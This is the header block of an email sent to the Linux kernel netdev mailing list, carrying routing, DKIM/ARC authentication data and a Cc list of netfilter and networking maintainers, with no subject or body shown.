X-ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795917126; h=DMARC-Filter:Received:DKIM-Signature:X-Google-DKIM-Signature: X-Forwarded-Encrypted:X-Gm-Message-State:X-Gm-Gg:X-Received:Received: Date:From:To:Cc:Subject:Message-ID:References:MIME-Version: Content-Type:Content-Disposition:Content-Transfer-Encoding: In-Reply-To; bh=htPW3XsqMTo3NYy+z8GY6os1dL7p1GeJffe4p6I7fIk=; b=ZBetXYHDziB3TqVvAt5wG51UfPJgrl8GiuIXXnqXLiqI/36NBqyWIA7zugaGUtr3h2FY JK5MtOmds1c4h5dlqsKgzXYsdojUUXteiMMcEIbutlDFng4uEMctMGSPNBwJuP9qA/Ifj s72SxyNbx1wiFwFIxGRz2eETvx6iSN4mroeCB5qf7RYNt5gYr3k5RLNl1S+UQux1NkF6q DM9mSJDtz5hPJLesQICK5XAE6sz22xOZ397Jx1bXrZ1pZ31Zhkr/NOIYaBLXNsekbWM3t /CvQEFO4fU5Oq+bLwZcbB+SlgBzLDgJIUIN74yKcXEIQanUZ6026514sQWvRm654z0g==
X-ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=asu.edu; spf=pass smtp.mailfrom=asu.edu; dkim=pass header.d=asu.edu header.i=@asu.edu header.a=rsa-sha256 header.s=google header.b=YncBKv4Q; arc=none smtp.remote-ip=74.125.82.182
X-Received: from mail-dy1-f182.google.com (mail-dy1-f182.google.com [74.125.82.182]) (using TLSv1.3 with cipher TLS_AES_128_GCM_SHA256 (128/128 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id EDCDA606A327 for <netdev@vger.kernel.org>; Sun, 29 Nov 2026 01:52:04 +0000 (UTC)
X-DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org EDCDA606A327
X-Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=asu.edu
X-Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=asu.edu
X-Received: by mail-dy1-f182.google.com with SMTP id 5a478bee46e88-385d8a00598so15297905eec.1 for <netdev@vger.kernel.org>; Sat, 28 Nov 2026 17:52:04 -0800 (PST)
X-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=asu.edu; s=google; t=1795917124; x=1796521924; darn=vger.kernel.org; h=in-reply-to:content-transfer-encoding:content-disposition :content-type:mime-version:references:message-id:subject:cc:to:from :date:from:to:cc:subject:date:message-id:reply-to:content-type; bh=htPW3XsqMTo3NYy+z8GY6os1dL7p1GeJffe4p6I7fIk=; b=YncBKv4Q8Me1GdvMuT+WEZP/1IwFpZ+cVDx5rUIYznYWUIoqKssGwCRBArMZv+xfzM n8X2vT+ezQV9Kl9UAA6oO4lpEso7Ro04NkYS/vnCEiPNlLxhrTpR7Vo7Bo/8v3+sGsLS VWN9x/JGlF7HNw6g+6iQNDm51/ZuuRqe8L5MryGuqzuOCBE9IwnmTRckDT772ZiM8CQO X35+lVr1MNobynKJIUzANNSNCx2zL9FshzP3T9NmeZLymECG60l+8E1/bFXU+54x+hsn tqxipJ2LIK2KlHkgQ65/2UfdJI5l/m46BkPjt6+U66MFtATT8PpxvJuf7oe8qfZHgbG/ UNsA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20260707; t=1795917124; x=1796521924; h=in-reply-to:content-transfer-encoding:content-disposition :content-type:mime-version:references:message-id:subject:cc:to:from :date:x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id :reply-to:content-type; bh=htPW3XsqMTo3NYy+z8GY6os1dL7p1GeJffe4p6I7fIk=; b=Cc+3ltrhche+agEXlGfZT/nVL2NFfh+lj/+KBMwcydxFbwBiRju4Ga6ghF8hW6Wx6L ScK//+6f4YsNbzqkr0YBvp5dPowT6ISqfIRuW79F/nKCmttd6ILQjSdu9kRr0WIYlZiO XdXu4KJi+oaIhmrjA4snomt3sQZwh/YK/djl3meQvhjGA3pcQE3PV2wfSPTtAgbe+Hb4 CtgAzJzI3kxfIJ89Q8Wqtd4Vs6bpR2M/KJxkpPtAzA6ZmEZs9+xKZkdipNaJ46MQqvaf v3At4+RsReb/+ko20m7589/WeI79BHx7kpzAyPwx2PekgPjiO7/ko4omRw+5iZ/lDl9K fdZQ==
X-Forwarded-Encrypted: i=1; AL+hErEfQD14qTIlfpoHMdcfMoZ1C2ctdJGMiDAZ8SFoiCnHPweV7ok313bBXarzcIPcWAhXZjxGZmY=@vger.kernel.org
X-Gm-Message-State: APuU4Z9nIAx70Ry31y4AXS8U+D0sj1+tHdmuavGKJ4YIKoZadgbzqBKI XrMAFJUglLpNmFj5IVd7NxhKeKKph1X+ScVBtwbnZsvqlyq5JAacGuEkSl8j8x5UxA==
X-Gm-Gg: AZFdTZfO11FMXBGYXXEilydPAc+QAZAJmF0GeCrLSjKFGssYGyQV1t/vxuaV27cASyA 4NDfYXrK3Avbu+qlE7F3r7EgRcI/52qDJuXiSGNQIPlLZczDlA8FFqMDaXC/dUDzwRpdGp5dUFM +ciDpdSppHZYesYYmfUBM0TpzQ321OaF73RnaqxAVpbMd5b81tt4pcfXpBbl3+8UZ1UQ4prOHbl 7rcK2g7p1CgVGe3vODMws60zZprhsnHPCExzdT5gzw1h0uxVTqmIsYUupOTsmFcmb7X8d6WmBOn sAE7w8GDOA+IM99QGxfOPNzpcnZXbSN2ATByoJgIWZRoA3QwDiTY2xGbuw3c46CNgFdZdvVcAFU Q/6P6JwcQpD5+mrLzLose1VP/6Ei4pAY73n8V/ZedvQJsnS+DJLcBYZbkElJTsxGAHUK++yhphl Aegauq754yxvkZ91ua4mNsAtd+8GXR86zZQ5m+jQg5xD8em0iGyK9S8G2UOhi10E2fimH+8D7mM CJKxYtNUBnUQiVSHdD4ci0NupqMJZQo6CslfBXdHJMjNVwiflIXWn2s/V3idTyHfYX/EJVsp2DU tr1Ye7oo+fUCpKNd13vC8diDIKhqpvDB+EgghBykmPaJwZMqRFmWXSY8DD2AAFgkgQ==
X-Received: by 2002:a05:7022:3f0d:b0:16c:3408:760b with SMTP id a92af1059eb24-1b5568dabf1mr28189392c88.32.1795917123647; Sat, 28 Nov 2026 17:52:03 -0800 (PST)
X-Received: from p1 (209-147-138-4.nat.asu.edu. [209.147.138.4]) by smtp.gmail.com with ESMTPSA id a92af1059eb24-1b5569bffd2sm62984921c88.0.2026.11.28.17.52.02 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Sat, 28 Nov 2026 17:52:03 -0800 (PST)
X-Cc: Florian Westphal <fw@strlen.de>, Phil Sutter <phil@nwl.cc>, "David S. Miller" <davem@davemloft.net>, Eric Dumazet <edumazet@kernel.org>, Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>, Willem de Bruijn <willemb@google.com>, Simon Horman <horms@kernel.org>, netfilter-devel@vger.kernel.org, coreteam@netfilter.org, netdev@vger.kernel.org, linux-kernel@vger.kernel.org, stable@vger.kernel.org, co+85229ab197510ca7@bugs.sh
X-Mailing-List: netdev@vger.kernel.org
X-List-Post: <mailto:netdev@vger.kernel.org>
X-List-Help: <mailto:netdev+help@vger.kernel.org>
X-List-Subscribe: <mailto:netdev+subscribe@vger.kernel.org>
X-List-Unsubscribe: <mailto:netdev+unsubscribe@vger.kernel.org>
X-List-Owner: <mailto:netdev+owner@vger.kernel.org>
X-Precedence: list
X-In-Reply-To: <aweYPz6oQlIYXddC@chamomile>